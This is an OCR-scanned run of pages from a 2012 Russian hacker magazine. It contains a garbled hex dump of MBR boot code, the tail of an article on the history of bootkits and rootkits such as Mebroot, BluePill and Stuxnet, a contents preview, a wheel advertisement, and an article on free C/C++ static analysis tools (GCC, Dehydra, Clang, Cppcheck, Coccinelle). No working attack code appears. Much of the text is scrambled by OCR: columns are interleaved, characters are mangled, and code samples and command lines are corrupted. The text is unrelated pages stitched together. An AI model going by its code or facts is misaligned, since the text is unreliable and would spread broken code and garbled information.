С0 8Е D0 ВС 00 1В 06 50 57 В9 38 6Е 00 7С 09 75 83 С6 10 49 74 19 Р0 АС ЗС 00 74 РС 4Е 10 Е8 46 00 73 80 7Е 04 0С 74 05 46 08 06 83 56 0А ВС 81 3Е РЕ 7D 55 В7 07 ЕВ А9 8В РС 00 В4 08 CD 13 72 43 Р7 Е3 8В D1 86 0А 77 23 72 0S 39 .., ~~; ,,: '>1 ;j "(" ВА 80 00 56 00 CD 13 ЕВ Е4 13 72 36 81 РВ 55 6А 00 6А 00 6А 00 01 6А 10 В4 42 8В 32 Е4 8А 56 00 CD 6С 69 64 20 70 61 62 6С 65 00 45 72 67 20 6Р 70 65 72

РВ

50 07 50 Р3 С5

01 13 83 38 2С ВВ 07 2А А0

00

РЕ Вб Н8

АА 1Е

74 57

~,

грамму

А4 СВ 10 Е2 Р6 А0 В4 0Е

РС ВЕ 1В 7С ВЕ 07 В1 04 Р4 CD 18 8В Р5 В5 07 В4 07 8В CD 10 ЕВ Р2 88 7Е 04 0В 74 0В

BD

74 00 46 10 80 07 75 D2 80 46 02 21 00 73 05 А0 В6 0В 80 7Е 10 00 74 8В Р5 СВ ВР 05 00 С1 24 3Р 98 8А DE 06 D2 ЕЕ 42 Р7 Е2 7З 1С B~ 01 02 ВВ 73 51 4f' 74 4Е 32 00 60 ВВ АА 55 В4 30 Р6 С1 01 74 2В 90 90 6А 00 68 00 13 б1 б1 73 0Е 4Р D6 61 Р9 С3 49 6Е 69 74 69 6Р 6Е 20 72 20 6С 6Р 61 64 69 6Е 67 20 73 79 6Е 67 20 6Р 70 65 6 7

23 8А D6 В1 46 08 CD 13 00000000D0: 8А S6 00000000Е0: , 00й00000F0 : АА 7S 0000000100: 6А 02 0000000110: Р4 CD 0000000120: 13 ЕВ 0000000130: 72 74 0000000140: 72 6Р 61 74 00001100150: .0000000160: 65 6D 00 4D 69 73 73 69 :: 5 , 2 :;. '1 4 ..' 3 Загрузочный код

''''-~!\.~~

06 83 07 ЕВ С8 8А 8А

А0

56 РС

39 S6 00 7С Е4 8А

41 CD 61 60 7С

74 76 74 69 7J 72 8 ,-

6А 0В

61 61 6Е

?4 61

3AZD'4 :uP.P"ii_~ :

(,~~РИ1"Q6~Е~-±. : Он!!fП"-ао 1 Но

8n

fA+ 1t.1.8,. to J.t-'-<

d,< til»- 'nI..-~~л H"-еР ~,.. .F"-_~.~t~ _~.~t~ ~-нОУМf P~fU8 е!

s~ Ч1.~ ~>JU~t~_~ tE .• ~c<ii.~"<oE(,~ SU

'

СI !!l'nSA$?~S_Si.i C~a<N+O±~iB~a9U

r:i.'lnl'~ FCs L.,. G1Ъ>

I I

1е ~ _ 1 !!s90tH2aS U 1 !!~aSU >~U' АI

!!1'6_uU~H0oA0t +а'

j j j Je-J }} :j Qj"" В<о 1 !!ааs1Юt~ 2aSU 1 !!~OattA 1 nua 1id pal't i t ion ta Ы", El'l'O l' 10 ad in 9 operating syst efТI Miss ing ореl'а 10,' 9

Mebratix

позволявшую отслеживать

RedPill,

использование виртуальной машины из

ской, была вов се не идеальна . Программа

в первую очередь тем, что, согласно одной

вы-звала много критики в свой адрес, и ее

теории, этот червь создали израильские

непривилегированного режима и тем самым

разработка была прекращена. Но идеи, ле­

спецслужбы специал"Ьно для противодей­

детектировать

жавшие в основе «Красной таблетки», про­

ствия ядерной программе Ирана. Вредонос

должили свою жизнь. В

перехватывает и модифицирует информа­

BluePill.

Security Labs

в области буткитов. Был создан

ко­

группа

North

сообщила о том , что среду

виртуализации

В 2007 году продолжились исследования

2008

можно обнаружить.

BluePill

ционный поток, которым обмениваются программируемые логические контроллеры

Специалисты рассказали, что отследить

марки

рут кит можно как по косвенным признакам,

системы

51MATIC 57 и рабочие станции 5САDА­ 51MATIC WiпСС фирмы 5iеmепs.

например по снижению производительности

Руткит-функции в 5tuхпеt отошли на второй

торый представлял собой еще одну концепт­

или использованию внешнего источника

план.

реализацию загрузочного руткита . Програм­

времени , так и1: помощью доверенного ги­

ма позиционировалась в первую очередь как

первизара , который бы запускал гипервизор

средство для исследования безопасности

вредоноса, и уже иэ-под него анализировал

Windows Vista,

Vbootkit,

которая тогда как раз вышла.

Примерно в то же время был реализова~

пеtвый вредонос на ~HOBe этой технологии: Siпоwаl, или

Mebroot.

руткит-активность. Последний метод гораз­

2011

до надежнее.

Втор.ого сентября 2011-го китайская ком­

пания

Многие антивирусы

Qihoo 360 сообщила о новом вирусе с Mebromi. Зло вред, нацелен­

Вl05-руткитом

долгое время ничего не 'могли противопо ­

ный на китайских пользователей, не только

ставить этому зловреду, и он безнаказанно

заражает

БУЙlJ'вовал на, пользовательских ПК. Не один

B105,

но и Nодифицирует

MBR,

В 2010-м, после относительного затишья

работает как руткит в гiпgО, инфицирует РЕ­

десяток антивирусных аналитиков провел

на руткит-сцене, появилось еще несколько

файлы и выполняет функции трояна.

множество бессонных ноче й за изучением

буткитов:

стал первым ВIОS-руткитом после концепта

ода

Mebroot,

Alipop, Black Iпtегпеt Тгоjап и Ghost 5hadow [Mebratix.bI. Первый из них имеет ки­

которы.Й на тот момент был на­

Такж~ в

2007

появившегося в

2007

году.

тайские корни, о чем свидетельствует уста­

стоящим прорывом.

году был представлен кон­

цепт биос-руткита

IceLord,

IceLord,

навливаемая им

который мог ин­

Mebratix

AdWare

на китайском языке.

впервые обнаружили специалисты

компании 5уmапtес, а

Конечно, для успешного заражен~я требова­

то время являлся самым Р3Е:пространенным

ные зловреды всё чаще инфицируют

ло(ь соблюдение определенных условий, но

буткитом.

модифицируют

Black

Iпtегпеt Тгоjап в

ЗАКЛЮЧЕНИЕ Уже сейчас очевидно, что руткиты всё

фицировать основу основ современного ПК .

В августе появился первый

начало было положено .

64-битных ОС

2008 RedPill,

Mebromi

Windows.

rootkit

,

BOl5

MBR,

и используют виртуа­

ЛИllацию. Мне кажется, что антивирусные компании не в состоянии эффективно бо­

ванный аналитиками компании «Доктор

роться с такими угрозами, поскольку

Веб», получил название ВасkDоог.тdoss.

технологии заражения пока очень слабо

Но, пожалуй, королем руткитов

разработанная Жанной Рутков-

для

Вирус, препариро­

глубже закапываются в железо. Современ,

2010

года

стал 5tuхпеt. Его популярность обусловлена

HOl!"bIe

изучены. Поэтому самое интересное еще впер еди ... :Х:

.. ХАКЕР

02/157/2012

085

,


Preview UNIXOID

ПОБЕДЫ И ПОРАЖЕНИЯ

OPENSOURCE-2011 Если попытаться вдвухсловахописать

2011 годдля мира ореп source, то это наверное будут «взломы» и «патенты». Так, мы три жды писали атом, как через

SQL-инъекцию был взломан mysql.com. Незабывали рассказывать, как Microsoft и Oracle затаскали крупные компании по судам за нарушения каких-то спорных

патентов . На фоне этих новостей как-то меркнут настоящие достижения в мире от­

крытых исходников: новая 3.0 версия ядра Linux, атакже серьезные обновления в бра­ узерах, Gnome и КОЕ, атакже популярных дистрибутивах. Мы решили рассказать о наиболее важны хсобы тия х идажесделать

некоторые прогнозы на будущее. Все самое важное за год-в одном материале.

КОДИНГ

UNIXOID

СТАТИЧЕСКИЕАНАЛИЭАТОРЫ КОДА

HOW-TO: РЕ-ПАКЕР

Автоматизируем поиск утечек памяти ,

Все тонкости и хитрости разработки

выходовзаграницумассива,исполь з ова­

своего собственного упаковщика испол­

ниянеинициализированныхпеременны х

няемых файлов формата РЕ. А это уже без

и других ошибок.

пяти минуткриптор!

11

На звание Windows 5егуег 8 является кодовым и еще не утверждено оконча­

тельно . Но попробовать новую серверную ОС от MS мы можемуже сеЙчас.

086

нестандартному использованию

привычных

Open55L и Ореп55Н, которые

никогда не приходили тебе в голову.

FERRUM

SYN\ACK

РОЖДЕННЫЙ ПОД ЦИФРОЙ ВОСЕМЬ

11

КРИПТОЛОГИЧЕСКИЙРАЙ Два десятка хардкорны х трюков по

11

ДОСПЕХИ ДЛЯ IT-ИНФРАСТРУКТУРЫ

Что могут и чего не могу 105/1 Р5? Тест-драйв 5 наиболее популярных систем предупреждения вторжений от известных вендорав.

11

Я ТВОЙ SANDY BRIDGE ТРУБА ШАТАЛ Стоит ли п окупать материнскую плату на базе нового чипсета АМО А75? Ищем ответ на этот вопрос, тестируя

6 разных

материнок.

ХАКЕР

02/157/2012


MUGELLO - HYPER SILVER

VAIRANO

INDY 500

SILVERSTONE

NARDO

ROTARY FORGED WHEELS

MALLORY

CARTHAGE

SEPANG

ZOLDER

NURBURGRING RF

VALENCIA

CADWELL

INTERLAGOS RF

МАХ

BROOKLANDS

SТOWE

LONDRINA

JARAMA

SNЕТТЕRТОN

DONINGTON

WILLOW

STRIP

Visit our website to view the complete line of TSW Wheels

TSW is dedicated to being the world's premium provider of staggered wheel applications and has тоге one-piece staggered wheel sizes than апу other wheel brand in the world .

Реклама


кодинг

Дима Осмаков

ОБЗОР БЕСПЛАТНЫХ ИНСТРУМЕНТОВ ДЛЯ СТАТИЧЕСКОГО АНАЛИЗА КОДА

Ibumshmyaklayandex.ruJ

~ -список инструментов для статического анализа.

blI.lvl16VLIE опции GCC, связанные с предупреждениями.

bj! ly/uEU4VQ опции GCC, специфичные

НАС/С++

дnя предупреждений, выдаваемых при

проверке кода на С++.

bit.lyluD9wOB -синтаксис

расширения дnя

атрибутов в

GCc. bil,JylvZpq7F GCc. mzl.la/DWbf4 Dehydra. ЫЦу/llхRuQ Clang 51alic Analyzer. bit.lyl20g5flCppcheck. bj tJ y/l Z3wXP Coccinelle. htlp://mzl.la/IEyXCL -DXR. пnагины дnя

оwи

в программах на С/С++ Основные вопросы, обсуждаемые в статье, касаются хороших бесплатных инструментов

для поиска логических ошибок методами

статического анализа в коде на С!е++ и их функциональным возможностям.

GCC В качестве первого шага при выявлении логических ошибок

целесообразно провести компиляцию при максимальном уровне

предупреждений . На странице http://bit.ly/16VLI E приведены опции GCC, отвечающие за них. Рассмотрим некоторые из зтих опций . -Wall включает множество предупреждений об инструкциях, которые, скорее всего, содержат легко исправляемые ошибки.

Сюда относятся различные ошибки форматной строки I-Wfoгmatl: При статическом анализе информация о программе извлекается из её исходного кода. Извлечение происходит автоматически с по­ мощью специального инструмента

-

~9~g ~focmat()

сама программа не запускается. Нас может интересовать самая разная информация. Содержит ли программа логические ошибки? Будет ли программа правильно решать поставленную перед ней

{

_.g9 LФ1~ Х..." J, j liеПR'Н:Н1Л.i;,Ны!1.. лш ..!Ш1R.Q[Q ..afJ.cy",et!:r.a ...........................

статического анализатора,

.... u .

prJIJ1f.(" :>9!1\IJ" ,Х); ."...":>9.Q\.a::.;........ .. _.........

._ ...ch<l.r . 5 [J

.

задачу для всех возможных входных данных? Удовлетворяет ли

и. QП<l~ .Н.Q .и.сЛ()/1.Ь-'!().Вi'!ТЬ . неlS.9.НЛ.аНТНУtIJ...Ф.9.RМ":ГНУЮ ЛRО.КУ

поведение программы формальной спецификации? Помимо во­

p.cintfCs,.

просов, связанных с корректностью работы программы, могут воз­

Х).;

........ _...... .

}.

никать вопросы, касающиеся непосредственно ее исходного кода.

Удовлетворяет ли код требованиям по стилю? Содержит ли код конструкции, которые считаются небезопасными и потенциально

Ошибки выхода за границу массива I-Waггay-bounds, работает только вместе с

-02, причем исключительно в простейших случаяхl :

могут привести к ошибкам? Также к статическим анализаторам можно отнести программы, которые визуализируют структуру кода

.in:t.

и помогают проводить рефакторинг.

~.n:t;. ~a.rray_b9.!JaQsO... {

Эта статья в основном посвящена инструментам, которые по­

'..

могают искать логические ошибки в исходном коде, написанном

}

t.еst_Ьо_uпd~[ ЦI ].; ..

.r~turrl..tе.st_ЬQЩlds[ ~131j

на С/С++. Таких инструментов достаточно много, позтому пришлось провести жесткий отбор. Во-первых, я сразу отбросил платные

инструменты ICovertiy, PolySpace, PVS-Studio, Microsoft \analyze

flag и многие другиеl. Во-вторых, исключил устаревшие, то есть такие, для которых больше года не выпускалось обновлений . Из оставшихся я выбрал наиболее, на мой взгляд, практичные:

GCC, Dehydra, Clang static analyzer, Cppcheck

088

и

Coccinelle.

А также ошибки использования неинициализированной пере­

мен ной I-Wuninitializedl и многие другие.

-Wextra

включает дополнительный набор предупреждений .

В него входят, например, предупреждения об ошибках, возникаю­ щих при сравнении значений знаковых и беззнаковых типов и не­

явном преобразовании знакового в беззнаковый I-Wsign-compaгel:

ХАКЕР

02 / 157/ 2012


Ищем ошибки в программах на С!С++

int Wsign_compare() { int х = - 1 ; unsigned int у = 3; if (х > у) return 1 ; / / выполнится else return 8;

компилятор проверит, являются ли первые два аргумента во всех

вызовах ту_тетсру ненулевыми. Следует отметить, что он выдает предупреждение только в том случае, если параметр функции

непосредственно представляет собой NULL. Следующий код уже ,па ветка

не вызовет нареканий [хотя хотелось быl:

int * dest = NULL; int * src = NULL; my_memcpy(dest, src, 18);

} Многие полезные предупреждения не входят в -Wall или -Wextra,

DEHYDRA

и их нужно подключать отдельно:

4.5, GCC поддерживает API для написания

-Wconveгsion предупреждает о при ведении типов, при котором

Начиная с версии

значение может поменяться [например, преобразование doubIe

плагинов, которые работают с внутренним представлением кода.

в int или int в unsigned intl. -Wcast_qual предупреждает отаком

Для нас наиболее интересен плагин

На странице bit.ly/vZpq7F приведен список существующих плагинов . приведении типа для указа­

Dehydra, предназначенный

теля, при котором специфическая информация о типе теряется,

для статического анализа кода на С++. Dehydra, используемый для

например:

про верки продуктов Mozilla, по сути, предоставляет простой способ вклиниться в процесс компиляции С++ . ДЛЯ этого нужно заполнить

void Wcast_qual() const char * 5 "constant string" ; « char *)s)[ 8 ] = 'п' ;

набор функций [хендлеровl на JavaScipt, которые будут вызываться по мере компиляции.

} • в итоге для проверки программ на С я остановился на следую­ щем наборе опций:

Dehydra предоставляет три основных хендлера: process_type(type) - вызываетсядля каждого определения типа, в качестве пара метра type передается полная информация отипе. process_function(decl, body) - вызывается для каждого определения функции [decl описываеттип функции и её пара­ метры, body представляет собой массив описаний инструкций, составляющихтело функцииl.

-02 -Wall -Wextra -Wformat=2 -Winit-self -Warray-bounds -Wdiv-by-zero -Wfioat-equal -Wundef -Wshadow -Wcast-qual -Wconversion -Wempty-body -Waggregate-return -Wunreachable-code

process_decl(decl) -вызывается при определении глобальной переменной, функции или шаблона.

Рассмотрим на примерах работу с Dehydra. Допустим, мы хотим построить граф вызовов функций в нашей программе, другими

На странице bit .ly/uEU4VQ собраны опции, специфичные для С++. Рассмотрим несколько наиболее интересных:

-Weffc++ предупреждает о нарушении ряда рекомендаций из книг Скотта Мейерса «Effective С++» И «Моге Effective С++». Например, к ним относятся предупреждения о виртуальных

деструкторах для базовых классов [эти предупреждения можно включить отдельно, как -Wnon-viгtual-dtoгl, а также об опреде­ лении копирующего конструктора и оператора присваивания для классов с членами-указателями .

-W-old-style-cast предупреждает о при ведении типов в стиле С [через скобкиl. В С++, какты знаешь, принято использовать

dynamic_cast, static_cast, reinterpret_cast или const_cast.

словами, хотим понять, какие функции может вызывать каждая функция. Для этого напишем простой JS-скрипт

callgraph .js:

function print_all_fcalls(varobjs) for each (let obj in varobjs) { if (obj.isFcall) print( " " + obj.name) i f (obj.assign) // right side of assign print_all_fcalls(obj.assign) i f (obj.arguments) // arguments of fcall print_all_fcalls(obj.arguments) }

} в итоге для проверки программ на С++ я добавил следующие опции:

-Wctor-dtor-privacy -Weffc++ -Wold-style-cast -Woverloaded-virtual в

GCC есть расширение, которое позволяет задавать дополни­

function process_function(decl, body) { print(decl.name + О:") for each (let Ь in body) print_all_fcalls(b.statements) } После обработки очередной функции компилятор каждый раз

тельные атрибуты для функций, переменных и типов [bit.ly/uD9wOB I.

будет вызывать process_function, в которой мы печатаем имя функ­

Благодаря зтим атрибутам компилятор может зффективнее оптими­

ции, а затем рекурсивно печатаем все вызовы других функций .

зировать и проверять код. Рассмотрим несколько примеров.

Скрипт имеет ряд недостатков [например, если какая-нибудь функ-

Можно пометить функцию [а также переменную или типl атрибутом deprecated. Тогда при использовании этой функции компилятор выдаст соответствующие предупреждение . Синтаксис имеет следующий вид:

bumShmyak@btJmShmyak-ре

scan-boi l d: scan-b\litd:

: /tmp$ "сап- btJi ld make executable поt fОllпd in '/us r /sharc/clang/scan-bllild/biI1'. 'clang' from path: /llsr/bln/clar1g

'сtапg' USlПg

/usr/share/clang/scan-build/ccc-analyzer ANAlYZE: clangtest.c div

int sqr( int

х)

__ attribute__ « deprecated »;

Ьу

сlапgtсst.с:5:1З: wаГПlлg:

clangtcst clangtest.c

lcro DIVlS10n Ьу

zero

inty;::S/x;

Другой полезный атрибут

-

nonnull. Он требует, чтобы опреде­

лённые параметры функции были ненулевыми. Например, при объявлении

extern void * ту_тетсру

( void *dest, const void *src, size_t len) __ attribute__ «nonnull ( 1, 2»);

ХАКЕР 02/157/2012

ANAlYZE: clangtest.c nutt deгcfcrcnce ANALYZE: elangtest.e maln 1 warning generated. scan·build : 1 bugs fotJnd. sean·boild: Rtlll 'scan·vie"'l /tmp/scan-bllild·2011-12·17-7' to examine btlg reports. bumshmyak@b\Jmshmyak-ре:/tmрS scan - Vlew /tmp/seal) - bui ld - 2011 12 - 17 - 7 Starting sеап-viбl at: http://127.0.0.1:8181 Use Ctrl-C to ехlt. Использование

scan-build и scan-view

089


кодинг

~ IZ7.0.0.1:8181

___________.JI

tmp - scan-bulld results bumshmy~umshmyak·pc

User:

S • • rch syntu .nd Exampl ..

Worklng Dlredory: ,1mp

Аny

make

Date:

Sat Оес 17 13:24:02201 1

.QIIIQDlAOQIIIIb!'·· 8etPIClOl~ p81h:nвтe

FInd

8М.

Quantlty

АВ Вugo

1 2

, ,

Dlsplay?

1

4

Loglc error DМsюпЬу zеro

d8tМd:narn.

FII.

DlvIslon Ьу ,его clangtest.c

dtrtYtd:I7a'М::tp

Int d l v_ Dy_ ze ro() { Int х = е : Int у :: LL.!:

Lln.

Path Length

5

1

return

WOtdt .,. noc aIIOWtCI vmtn doIng typr.

МarC::heI.

F1nCI t)PttS VNd dtttYe frOm t)'Pt nameCI пет • . 8.,. WDПI8 _. not aIIOW8d whtn dotng d8rtv8d: ..1Rhes. Аnd

callers (•. g.. c:ontalnlng

(LWН1lon8)

01 fuпc:tlon.

r.a'ItA· OIAoctмIщ·· CtфtChl!!ho Flndtn8CtOtthatbeglnYotthotmatd\l18tIИt.

lllIIWlLIIlIllI

FInd wanr.ga that CantaIn mlg. 1I m19 18 -. thtn а1 warт*'gI . . retl.Wntd.

W8f1'ings:m.tg'

у:

}

~

А.роП Вup ареп AI~ I

VlewReport

DXR 18 fr.. acttwart. ~ 10 t.am hOW 10 не It up for)'cu profect.

Поисковая строка

Отчет, созданный scan~build

все вызовыl, но для ознакомительных целей сойдет. Проверим работу скрипта на файле workandsolve.cc:

in:t. wor:k.(i,nt data)j . int solve (in:t data)j int work( i l1 t data) С. :i.n:t . res = solve( data) j . .rеt:Щ:[I res j } :i.n t. solve( int data) { . in:t .. re.s = work (da.t a) j . return reSj } int . main () { so.1 v.e ( 18)j. ret!JCn 8; }

DXR

CLANG STATIC ANALYZER

ция вызывает другую функцию несколько раз, то будут напечатаны

это компилятор C!C++/Objective-C, который являются частью проекта LLVM( lIvm.brgl. В C1an9 встроен статический анализатор, для запуска которого нужно передать утилите clang (или c1an9++1 опцию --analyze . На его сайте (bit.ly/11xRuQI опубликован список проверок ,

Clang -

которые выполняются в ходе анализа. Проверки разделены на не­ сколько групп: саге , дится на саге

-

deadcode, osx, unix. Примерно половина прихо­

сюда входят проверки на наличие базовых ошибок , во

многом схожие с предупреждениями в GCC :

деление на ноль;

разыменование нулевого указателя ; использованиенеинициализированныхпеременныхвразличных ситуациях ;

проверки, специфичные для Objective-C. Другая большая группа -

osx, где собраны проверки для Мас OS х.

Вообще, видно, что именно эта среда является целевой для разработ­ чиков clang static analyzer. Рассмотрим работу clang analyzer на приме­ ре. Пусть у нас есть код

Запускаем

can bt p81red oМtb .XI:.

twn that btgIn WIth of matCh nмrt. c8n bt pahd wtth mtmbtr..

~ dtфI!d 'DIIЕ"" 'Ьpptnd

caII,rs:tunclIoo

DtvJs60n byzero

•,

Group 8ugТype '"

#lnc\ude <stdI0 . h>

Q

1

Reports 8ие

~Lm orty ntaiLS C:aUInIng naт.1n th8 p8th. sh.Ioot!eolh·Dttw9rI!:

Annotaled Source Code

BugSummary

Loglc error

S.arc:h for а word or"st 01 wonfs мpar8ted ьу spacи. b8nI words (8.9._ nOI path:·) tn the _ardl are taken together.

slmpleslrtng

Command Llne:

8ugType

s..,<h

Browse the source tree

clantest .c:

Dehydra: jНш.1.udе sst diQ.. h.> .

g++ .: fрJugiп=-/dеhуqr.а/gсс_dеhуdrа .•..S9. ~fplugin-arg:. gcc_ \ dehydr:.a ~ script=ca1.l.gr<!ph.j s workanQ.solve ..сс -о !qev[null Получаем на вы х оде:

work(iot) :.. solve(int) solv.e{i,nt) : work(int) main{) :.... solve{int) work_(int)

~]1"!: .div_bY_4eC9.( ). { ......iл:t. Х = 8; . . ;int у = 5 j Х; .. ce turn У; } .. ~J1.t: . null_deref.erence.() { .. ~.nt. х = . е.; . i.nt * Р . :=. NUЦ, j ... .. Н (х . > 8 ) Р = &Х;

..

r eturn

* р;

}

Полное описание функций-хендлеров и их параметров, а так же

примеры использования можно найти на странице проекта: mzl.la/

~n.:t. maioO { ......ret: urn 8;

1 ....

DWbf4. Dehydra «из коробки » умеет достаточно мало. Она в осно вном

Компилируем и одновременно проверяем код :

предназначена для написания собственных процедур проверки.

В репозитории mozilla-central (bit.ly/vJ EI1BI лежит несколько готовых

clang - -analyze. clangtest. с .: Q clangtest

скриптов, использовавшихся для проверки кода программ от Mozilla, но они не очень интересные, так как требуют дополнительной анно­

Получаем на выходе:

тации кода. Например, скрипт final .js проверяет, нет ли наследников у класса, помеченного пользовательским атрибутом

final.

В общем , это очень интересный инструмент, но он требует до­

c.1angtest. с.: 5.:.1.3..:...warn:i:ng : D.iv.l,sion .Ьу zero .... .... ~nt у = 5 j X j .

полнительного программирования .

090

ХАКЕР

02/157/ 201 2


Ищем ошибки в программах на С/С++

clangtest. С,: 1> :,10: return *р; ,

warn~ng ,:, ,Оеrеfеrеще Q:/"лull

pointer., .,."

разыменование нулевого указателя ; неправильноеиспользованиеклассо~ ИТ . д .

2 warningS"Eenerated. Cppcheck Е с ли заменить « х

>О»

на « х

>=

О » В функции

null_dereference, то

clang

поставляется удобная утилита

-

доста­

точно указать директорию, которую нужно проверить. Разберём

второе предупреждение, что приятно, исчезнет ,

Вместе с

имеет как консольный, так и графический интер­

феЙс. Пользоваться и тем и другим одинаково просто

5can-build, ко­

торая позволяет проводить статический анализ всего проекта во

при мер с утечкой памяти : пусть она выделяется в конструкторе , но не освобождается в деструкторе.

время его сборки, Этой утилите нужно передать команду, кото­ рая начинает процесс сборки проекта. Она заменит все вызовы

cJiJss Newbie

компилятора вызовами со статическим анализатором. Утилита

риЬЦС :

не выполняет сложный анализ процесса сборки, а просто заменяет

переменные окружения СС и СХХ своим анализатором, что несколь­ ко ограничивает применение утилиты .

Для рассмотренного в качестве примера

сделать такой

clangte5t.c

можно

Makefile:

С

Nel-ibie() { resource ne,w Jnt [ 256] } pcivat:e : Jл:t-* resourcej ,

j

};

clangtest : clangtest. с $(СС)

clangtest c}angtest.c

Теперь можно запустить 5сап-Ьuild

make.

io:t l!1a.in() { _Newbie пооЬ j re.tu.ro 0; }

Будет создан отчет,

Успешное обнаружение утечки в этой программе с помощью

который можно просмотреть с помощью утилиты 5сап-viеw.

Clang создано ещё несколько интересных проектов, например проект DXR, который представляет собой интеллек­ туальный браузер исходного кода. DXR позволяет удобно искать

Cppcheck проиллюстрировано на скрине на следующем развороте , ! Страница bit,IY/56RQoH содержит внушительный список извест­ ных и не очень проектов, в которых с помощью Cppcheck удалось

различные конструкции в коде . Например, с его помощью можно

обнаружить баги . Что интересно , в основном это баги , най;ценные

найти все функции , которые вызывают заданную функцию, или все

в коде на чистом С. Подавляющее большинство из них связано

типы , которые являются потомками заданного типа. Насколько я

с утечкой памяти или какого-либо другого ресурса .

На основе

понял, раньше

Dehydra. Как настроить DXR для своего проекта, описано на странице mzl.la/tEyXCL . DXR

работал на основе

COCC INELLE Соссiпеllе Iпроизносится как [кОксэнэл]) -

СРРСНЕСК

Cpp check -

это специалиэированная программа для поиска оши­

б ок в коде на С++,

это инструмент для

автоматического преобразования С-кода . Преобразования опи­

Cppcheck

работает с кодом как с последователь­

ностью строк, особо не вдаваясь в их смысл . Сначала он всячески

сываются в виде семантического патча на языке

SmPL [Sеmапtiс Patch Lапguаgеl , По сути, такой патч - это набор правил для за­ мены одних конструкций языка С другими , Из начально coccinelle

упрощает код и при водит его к виду последовательности токенов,

разрабатывался для решения следующей задачи . Представь, что

разделенных пробелами. После этого он ищет типичные ошибки

у нас есть библиотека и клиентский код, который эту библиотеку

с помощью регулярных выражений и набора эвристических пра­

использует, Как нужно изменить клиентский код при изменении

вил, написанных на С++ .

интерфейса библиотеки?

Вот так выглядит простейшие правило для поиска ошибок

Coccinelle

позволяет записать необходи­

мые изменения в виде компактного семантического патча , Потом

этот патч можно наложить на клиентский код, чтобы получить

деления на нуль:

его актуальную версию. Так как соссiпеllе «понимает» С, то этот

cppcheck - ~.rllle= "1 0"

инструмент можно использовать для поиска определённых шабло­

нов в коде. Нас интересуют шаблоны, потенциально содержащие То же самое правило на С++:

ошибку. Для того чтобы понять, как искать шаблоны, рассмотрим структуру семантического патча.

СhеСkЩhе.r:: divistQr\By~,eroO

void

Патч состоит из набора правил следующего вида:

{

/1 Loop__ :t:hrougl) аН ,t.ok,eos, for ( const Token *tok __= _tokenizer- >10,kens (); ,tokj tok ,= tOk->l)ехt() { /1 ch.eck i f there ,is а divi5ion I:!Y, zJ'ro if {Token: :Match(tok, "/ 0" » { / 1 report err:or , divisionByZer.o,Error(tok) j

@II1M~ параметРыl@ оБРЯВiJение

ОПиС,ание преобра_;!ов.а,ниЙ

Каждое правило начинается с заголовка, заключённого в два значка

}

,.,eTiJl),E!.p_e,MeHHbIx

@§J

0 . Заголовок

может быть пустым или содержать имя пра­

вила и какие-либо пара метры для него [например , список других правил, от выполнения которых оно зависитl, За ним следует

}

раздел объявления метапеременны х . Каждая метапеременная Для

Cppcheck уже

написано огромное количество правил.

На странице проекта перечислены типы детектируемых ошибок:

представляет собой типизированный шаблон для сопоставления

с конструкциями в С. Далее идёт основной раздел, в котором

различные сценарии утечки памяти и других ресурсов;

указывается, какие конструкции нужно найти и на что их следует

использование устаревших функций;

заменить [можно просто искать определенные конструкции, не за­ меняя и х l. Рассмотрим несколько примеров.

неправильное использование

STL и 8005t;

Первый пример, касающийся так называемой проблемы

наличие неиспользуемых или неинициализированных перемен­ ных ;

ХАКЕР

02/157/ 2012

«!х

& у» ,

очень популярен в статьях и презентациях разработчиков

091


кодинг

_ ореп

int flags = UGLY_F LAG; i f (Iflags & UGLY_FLAG) i f (!(flags & UGLY_FLAG» return 1; else return 8;

:1 150

~

~ kшаll ос/т аll ос

...'" ....."'"

_

isnull ~ null_ref _ _ notnull _ unused _ _ notand _ unsigned

"CI

е

i.

+

100 50 о

<-q,. График эволюции ошибок висходниках

<'Ъ.>

<~

~

Linux, полученный с помощью Heгodotos

Опция -dir утилиты spatch предназначена для рекурсивной про­ верки всех С-файлов в заданной директории. Оказывается, ошибка

«Ix & у » встречается довольно часто.

На странице bit .ly/dlggI6 собраны исправления, сделанные

coccinelle . Предположим, у нас есть переменная flags, которая

с помощью соссiпеllе в исходных кодах

хранит набор битовых флажков. Для проверки того, все ли флажки

исправлений связаны как раз с ошибкой «!х

Linux. Так вот, 20 из этих

установлены, обычно пишут:

примера приведем один из отрывков кода, где она содержится

& у»!

В качестве

Ibit.ly/ rVQQ9Z I: !(flags & UGLY_FLAG) Часто скобки забывают ставить, в результате чего получается следующий код:

!flags & UGLY_FLAG При этом !flags -

это либо нуль, либо единица, то есть, скорее

--- a/drivers/serial/m32r_sio.c +++ b/drivers/serial/m32r_sio.c @@ -421,7 +421,7 @@ static void transmit_chars( struct uart_sio_port *up) while (!serial_in(up, UART_LSR) & UART LSR_THRE); + while (!(serial_in(up, UART_LSR) & UART_LSR_THRE»; } while (--count > 8);

всего, не т о, что мы хотели. Семантический патч, который исправ­ Ещё одна достаточно популярная ошибка в коде Linux связана

ляет такой код, выглядит следующим образом:

с тем, что функции

memset вместо размера структуры передается

размер указателя на эту структуру. Патч для нахождения и исправ­

notand . cocc i @notand@ expression Е; co nstant С;

ления такой ошибки выглядит следующим образом:

@@ type

@@ - !Е & С + ! (Е & С)

т

Т;

*х;

expression

Е;

@@ Здесь мы определяем правило, которое называется notand. Мы говорим, что у нас есть переменная Е, которая может быть сопостав­

memset(x,

лена произвольному выражению, и переменная С, которая может быть

+

сопоставлена ко н стан т е. Потом идёт код, задающий само преобразо­ вание, то есть добавляющий скобки во все выражения вида «!Е

Е,

sizeof(

*

х»

& С».

ДЛЯ теста используем такой код:

Здесь мы описываем, что у нас есть указатель х на тип Т и про­ извольное выражение Е. Далее мы ищем все вызовы

notand .c #define UG LY_FLAG = 8х2 ; int main() { int flags = UG LY_F LAG; i f (! fl ags & UG LY_FLAG) return 1; else return 8; }

и добавляем " чтобы разыменовать указатель и получить размер Т. Результат применения семантического патча к коду Linux опреде­

лённой версии Ibit. ly/rsLl lgl :

--- a/drivers/staging/wlan-ng/prism2fw.c +++ b/drivers/staging/wlan-ng/prism2fw.c @@ -439,7 +439,7 @@ void free_chunks( i mgchunk_t *fchunk, unsigned int *nfchunks)

Coccinelle также предоставляет утилиту spatch, которая при­

}

меняет семантический патч к набору С-файлов. В случае если правило совпадает с реальным кодом на С, ционный построчный

memset,

где в качестве третьего параметра выступает размер указателя,

spatch на выдает тради­

diff, устанавливающий преобразование.

+

*nfchunks = 8; memset(fchunk, 8, sizeof(fchunk»; memset(fchunk, 8, sizeof(*fchunk»;

